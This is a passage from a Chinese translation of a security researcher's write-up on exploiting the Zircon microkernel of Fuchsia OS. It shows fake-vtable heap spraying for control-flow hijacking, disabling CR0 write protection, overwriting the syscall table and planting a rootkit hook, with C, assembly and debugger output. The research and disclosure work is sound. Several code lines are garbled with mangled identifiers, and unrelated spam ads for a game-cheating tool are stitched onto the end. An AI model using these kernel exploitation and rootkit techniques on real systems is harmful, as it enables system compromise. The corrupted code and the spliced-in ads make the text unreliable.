这里的 r13 寄存器存储了 TimerDispatcher 对象的地址。vtable 指针位于该对象的开头。所以在第一条 mov 指令之后,rax 寄存器存储了 vtable 本身的地址。然后 movsxd 指令将 vtable 中的值 0xffdcb5a4ffe00454 移动到 r11 寄存器中。但是 movsxd 也将这个值从 32 位的源头扩展到 64 位的目的地。所以 0xffdcb5a4ffe00454 变成了 0xffffffffffe00454。然后 vtable 地址被加到 r11 的这个值上,这就形成了 TimerDispatcher 方法的地址:
(gdb) x $r11
0xffffffff001bd570 <_ZNK15TimerDispatcher8get_typeEv>: 0x000016b8e5894855
复制代码
尽管 Zircon vtables 中存在这种奇怪的指针计算方法,我还是决定制作一个假的 TimerDispatcher 对象 vtable 来劫持内核控制流。这让我想到了将我的假 vtable 放在哪里的问题。最简单的方法是在用户空间创建它。然而,x86_64 上的 Zircon 支持 SMAP(Supervisor Mode Access Prevention),它阻止从内核空间访问用户空间的数据。
在我的 Linux 内核防御图中,你可以看到 SMAP 在 Linux 内核中控制流劫持攻击的各种缓解措施中。我看到有多种方法可以通过在内核空间放置假 vtable 来绕过 SMAP 保护。
例如,Zircon 也像 Linux 内核一样有 physmap,这使得 Zircon 的 ret2dir 攻击的想法非常有希望。
另一个想法是使用某个内核地址的内核日志信息泄露,该地址指向攻击者控制的数据。
但为了简化我对 Fuchsia 的第一次安全实验,我决定在启动 QEMU 的脚本中禁用 SMAP 和 SMEP,并在用户空间创建我的漏洞中的假 vtable。
#define VTABLE_SZ 16
unsigned long fake_vtable[VTABLE_SZ] = { 0 }; // global array
复制代码
然后我让漏洞利用这个假的 vtable 在堆中喷出数据,覆盖 TimerDispatcher 对象:
#define DATA_SZ 512
unsigned char spray_data[DATA_SZ] = { 0 };
unsigned long **vtable_ptr = (unsigned long **)&spray_data[0];
// Control-flow hijacking in DownCastDispatcher():
// mov rax,QWORD PTR [r13+0x0]
// movsxd r11,DWORD PTR [rax+0x8]
// add r11,rax
// mov rdi,r13
// call 0xffffffff0031a77c <__x86_indirect_thunk_r11>
*vtable_ptr = &fake_vtable[0]; // address in rax
fake_vtable[1] = (unsigned n - (unsigned long)*vtable_ptr; // value for DWORD PTR [rax+0x8]
复制代码
这看起来很棘手,但不要害怕,你会喜欢它的!
这里 spray_data 数组存储了 zx_fifo_write() 覆盖 TimerDispatcher 的数据。vtable 指针位于 TimerDispatcher 对象的开头,所以 vtable_ptr 被 spray_data[0] 的地址所初始化。然后 fake_vtable 全局数组的地址被写入 spray_data 的开头。这个地址将出现在 DownCastDispatcher() 的 rax 寄存器中,我在上面描述过。fake_vtable[1] 元素(或 DWORD PTR [rax+0x8])应该存储用于计算 TimerDispatcher.get_type() 方法的函数指针的值。为了计算这个值,我从我的 pwn() 函数的地址中减去假 vtable 的地址,我将用它来攻击 Zircon 内核。
这就是在执行漏洞时发生在地址上的魔法。真实的例子:
在实现了 Zircon 内核空间的任意代码执行后,我开始考虑用它来攻击什么。我的第一个想法是伪造一个假的 ZX_RSRC_KIND_ROOT 超能力资源,我之前在 zx_debuglog_create() 中看到过。但我没能利用 ZX_RSRC_KIND_ROOT 设计出特权升级,因为在 Fuchsia 的源代码中,这个资源用得不多。
由于知道 Zircon 是一个微内核,我意识到特权升级需要攻击通过微内核进行的进程间通信(IPC)。换句话说,我需要在 Zircon 中使用任意代码执行来劫持 Fuchsia 用户空间组件之间的 IPC,例如,在我的非特权开发组件和一些特权实体(如组件管理器)之间。
我又回到了研究 Fuchsia 用户空间的过程中,这很混乱,也很无聊……但我突然有了一个想法:
在 Zircon 中植入一个 rootkit 怎么样?这看起来有趣多了,于是我转而研究 Zircon 系统调用的工作原理。
文档中简要介绍了 Fuchsia 系统调用的生命周期。像 Linux 内核一样,Zircon 也有一个系统调用表。在 x86_64 上,Zircon 在 fuchsia/zircon/kernel/arch/x86/syscall.S 中定义了 x86_syscall() 函数,其代码如下(我去掉了注释):
cmp $ZX_SYS_COUNT, %rax
jae .Lunknown_syscall
leaq .Lcall_wrapper_table(%rip), %r11
movq (%r11,%rax,8), %r11
lfence
jmp *%r11
复制代码
下面是这段代码在调试器中的样子:
0xffffffff00306fc8 <+56>: cmp rax,0xb0
0xffffffff00306fce <+62>: jae 0xffffffff00306fe1 <x86_syscall+81>
0xffffffff00306fd0 <+64>: lea r11,[rip+0xbda21] # 0xffffffff003c49f8
0xffffffff00306fd7 <+71>: mov r11,QWORD PTR [r11+rax*8]
0xffffffff00306fdb <+75>: lfence
0xffffffff00306fde <+78>: jmp r11
复制代码
啊哈,它显示系统调用表在 0xffffff003c49f8。让我们看看内容:
(gdb) x/10xg 0xffffffff003c49f8
0xffffffff003c49f8: 0xffffffff00307040 0xffffffff00307050
0xffffffff003c4a08: 0xffffffff00307070 0xffffffff00307080
0xffffffff003c4a18: 0xffffffff00307090 0xffffffff003070b0
0xffffffff003c4a28: 0xffffffff003070d0 0xffffffff003070f0
0xffffffff003c4a38: 0xffffffff00307110 0xffffffff00307130
$ disassemble 0xffffffff00307040
Dump of assembler code for function x86_syscall_call_bti_create:
0xffffffff00307040 <+0>: mov r8,rcx
0xffffffff00307043 <+3>: mov rcx,r10
复制代码
这里系统调用表中的第一个地址 0xffffff00307040 指向 x86_syscall_call_bti_create()函数。它是系统调用编号为 0,在 gen/zircon/vdso/include/lib/syscalls/ 目录下自动生成的文件 kernel-wrappers.inc 中定义。而那里的最后一个系统调用是 x86_syscall_call_vmo_create_physical(),位于 0xffffff00307d10,是 175 号(见 ZX_SYS_COUNT 定义为 176)。显示了整个 syscall 表,再加上一点:
(gdb) x/178xg 0xffffffff003c49f8
0xffffffff003c49f8: 0xffffffff00307040 0xffffffff00307050
0xffffffff003c4a08: 0xffffffff00307070 0xffffffff00307080
0xffffffff003c4a18: 0xffffffff00307090 0xffffffff003070b0
...
0xffffffff003c4f58: 0xffffffff00307ce0 0xffffffff00307cf0
0xffffffff003c4f68: 0xffffffff00307d00 0xffffffff00307d10
0xffffffff003c4f78 <_ZN6cpu_idL21kTestDataCorei5_6260UE>: 0x0300010300000300 0x0004030003030002
复制代码
是的,最后一个系统调用的函数指针 0xffffffff00307d10 就在系统调用表的末端。这些知识对于我的 rootkit 实验来说已经足够了。
作为第一个实验,我在 pwn() 函数中用 0x41 重写了整个系统调用表。正如我提到的,这个函数的执行是 Zircon 中控制流劫持的结果。为了覆盖只读的系统调用表,我使用了老派的经典方法,即改变 CR0寄存器中的 WP 位:
#define SYSCALL_TABLE 0xffffffff003c49f8
#define SYSCALL_COUNT 176
n(void)
{
unsigned long cr0_value = read_cr0();
cr0_value = cr0_value & (~0x10000); // Set WP flag to 0
write_cr0(cr0_value);
memset((void *)SYSCALL_TABLE, 0x41, sizeof(unsigned long) * SYSCALL_COUNT);
}
复制代码
CR0 助手:
void write_cr0(unsigned long value)
{
__asm__ volatile("mov %0, %%cr0" : : "r"(value));
}
unsigned long read_cr0(void)
{
unsigned long value;
__asm__ volatile("mov %%cr0, %0" : "=r"(value));
return value;
}
复制代码
结果:
(gdb) x/178xg 0xffffffff003c49f8
0xffffffff003c49f8: 0x4141414141414141 0x4141414141414141
0xffffffff003c4a08: 0x4141414141414141 0x4141414141414141
0xffffffff003c4a18: 0x4141414141414141 0x4141414141414141
...
0xffffffff003c4f58: 0x4141414141414141 0x4141414141414141
0xffffffff003c4f68: 0x4141414141414141 0x4141414141414141
0xffffffff003c4f78 <_ZN6cpu_idL21kTestDataCorei5_6260UE>: 0x0300010300000300 0x0004030003030002
复制代码
很好。然后我开始考虑如何劫持 Zircon 的系统调用。类似于 Linux 内核 rootkits 的做法是不可能的:通常的 Linux rootkit 是一个内核模块,在内核空间提供钩子作为特定模块的功能。但在我的案例中,我试图将用户空间的 rootkit 植入微内核中。把 rootkit 的钩子作为用户空间的函数在利用进程的上下文中实现是行不通的。
所以我决定把 Zircon 的一些内核代码变成我的 rootkit 钩子。我的第一个覆盖对象是 assert_fail_msg() 函数,它在漏洞开发过程中让我很头疼。这个函数足够大,所以我有很多空间来放置我的钩子有效负载。
我用 C 语言编写了 zx_process_create() 系统调用的 rootkit 钩子,但不喜欢编译器生成的钩子汇编。所以我用 asm 重新实现了它。让我们看一下代码,我喜欢这部分:
#define XSTR(A) STR(A)
#define STR(A) #A
#define ZIRCON_ASSERT_FAIL_MSG 0xffffffff001012e0
#define HOOK_CODE_SIZE 60
#define ZIRCON_PRINTF 0xffffffff0010fa20
#define ZIRCON_X86_SYSCALL_CALL_PROCESS_CREATE 0xffffffff003077c0
void process_create_hook(void)
{
__asm__ ( "push %rax;"
"push %rdi;"
"push %rsi;"
"push %rdx;"
"push %rcx;"
"push %r8;"
"push %r9;"
"push %r10;"
"xor %al, %al;"
"mov #34; XSTR(ZIRCON_ASSERT_FAIL_MSG + 1 + HOOK_CODE_SIZE) ",%rdi;"
"mov #34; XSTR(ZIRCON_PRINTF) ",%r11;"
"callq *%r11;"
"pop %r10;"
"pop %r9;"
"pop %r8;"
"pop %rcx;"
"pop %rdx;"
"pop %rsi;"
"pop %rdi;"
"pop %rax;"
"mov #34; XSTR(ZIRCON_X86_SYSCALL_CALL_PROCESS_CREATE) ",%r11;"
"jmpq *%r11;");
}
复制代码
现在是最有趣的部分:植入 n() 函数将钩子的代码从利用二进制文件复制到 assert_fail_msg() 地址处的 Zircon 内核代码中。
#define ZIRCON_ASSERT_FAIL_MSG 0xffffffff001012e0
#define HOOK_CODE_OFFSET 4
#define HOOK_CODE_SIZE 60
char *hook_addr = (char *)ZIRCON_ASSERT_FAIL_MSG;
hook_addr[0] = 0xc3; // ret to avoid assert
hook_addr++;
memcpy(hook_addr, (char *)process_create_hook + HOOK_CODE_OFFSET, HOOK_CODE_SIZE);
hook_addr += HOOK_CODE_SIZE;
const char *pwn_msg = "ROOTKIT HOOK: syscall 102 process_create()
";
strncpy(hook_addr, pwn_msg, n_msg) + 1);
#define SYSCALL_N_PROCESS_CREATE 102
#define SYSCALL_TABLE 0xffffffff003c49f8
unsigned long *syscall_table_item = (unsigned long *)SYSCALL_TABLE;
syscall_table_item[SYSCALL_N_PROCESS_CREATE] = (unsigned long)ZIRCON_ASSERT_FAIL_MSG + 1; // after ret
return 42; // don’t pass the type check in DownCastDispatcher
复制代码
好了,现在 rootkit 已经被植入 Fuchsia OS 的 Zircon 微内核中了。
我为 zx_process_exit() 系统调用在 assert_fail() 内核函数的位置上实现了一个类似的 rootkit 钩。所以 rootkit 在进程创建和退出时将信息打印到内核日志中。请看该漏洞演示:
视频地址:https://www./embed/JPg-VHuKQIQ
这就是我遇到 Fuchsia OS 及其 Zircon 微内核的原因。这项工作对我来说是一次全新的体验。自从我在温哥华举行的 2018 年 Linux 安全峰会上听说了这个有趣的操作系统,我想在这个操作系统上尝试我的内核黑客技术已经很久了。所以我很高兴这项研究。
在这篇文章中,我对 Fuchsia OS、其安全架构和内核开发工作流程进行了概述。我从攻击者的角度评估了它,并分享了我对 Zircon 微内核的漏洞开发实验结果。对于本研究中发现的 Fuchsia 安全问题,我遵循了负责任的披露程序。
这是关于 Fuchsia OS 安全的首批公开研究之一。我相信这篇文章对操作系统安全社区很有帮助,因为它突出了微内核漏洞利用和防御的实际问题。我希望我的工作也能激发你做内核黑客的热情。谢谢你的阅读!
作者简介:
Alexander Popov,2013 年成为 Linux 内核开发人员,关注内核安全。技术博主,专注漏洞发现、利用技术和防御技术。
原文链接:
https://a13xp0p0v.github.io/2022/05/n-fuchsia.html
以上就是关于gg修改器免root版安全_GG修改器免ROOT的全部内容,感谢大家的浏览观看,如果你喜欢本站的文章可以CTRL+D收藏哦。
gg修改器怎么下载不了,GG修改器,怎么下载 大小:3.71MB5,000人安装 gg修改器免root版app是一款超级好用的游戏修改工具,可以帮助用户轻松修改游戏中的……
下载用gg修改器要root吗_gg修改器要root吗? 大小:15.47MB4,875人安装 大家好,今天小编为大家分享关于用gg修改器要root吗_gg修改器要root吗?的内容,赶快……
下载gg修改器下载中文手机,探秘神器:GG修改器下载中文手机 大小:4.91MB3,918人安装 在游戏中,我们总会遇到一些让自己头疼的问题,比如任务太难、设备不够好等等。而今……
下载gg修改器怎么root手机,如何使用GG修改器实现ROOT手机 大小:8.52MB3,856人安装 在现代社会中,手机已成为人们必不可少的日常用品。但是,普通用户的手机权限是受限……
下载gg游戏修改器怎么变速,用GG游戏修改器轻松实现游戏变速 大小:14.49MB3,566人安装 如果你经常玩一些需要大量时间和耐心摆脱的游戏,你可能会发现你需要经常反复重启游……
下载gg修改器中文教程版_GG修改器中文版下载 大小:14.76MB4,874人安装 大家好,今天小编为大家分享关于gg修改器中文教程版_GG修改器中文版下载的内容,赶……
下载最新GG修改器美化版,最新GG修改器美化版:让你的游戏体验更加优美 大小:9.62MB3,633人安装 随着游戏的发展,越来越多的玩家开始尝试使用修改器来提高游戏体验,而GG修改器一直……
下载gg修改器中文官网怎么用_GG修改器官网中文 大小:14.24MB4,733人安装 大家好,今天小编为大家分享关于gg修改器中文官网怎么用_GG修改器官网中文的内容,……
下载gg修改器英文最新版,GG Modifier: The Latest and Greatest English Version 大小:13.28MB3,505人安装 If you’re an avid gamer, then you know just how important it is to have the ri……
下载免root启动gg修改器,免root启动GG修改器,你值得拥有的手机助手 大小:14.72MB3,531人安装 GG修改器一直是游戏外挂的代表,其强大的功能和易操作性,受到了众多游戏玩家的喜爱……
下载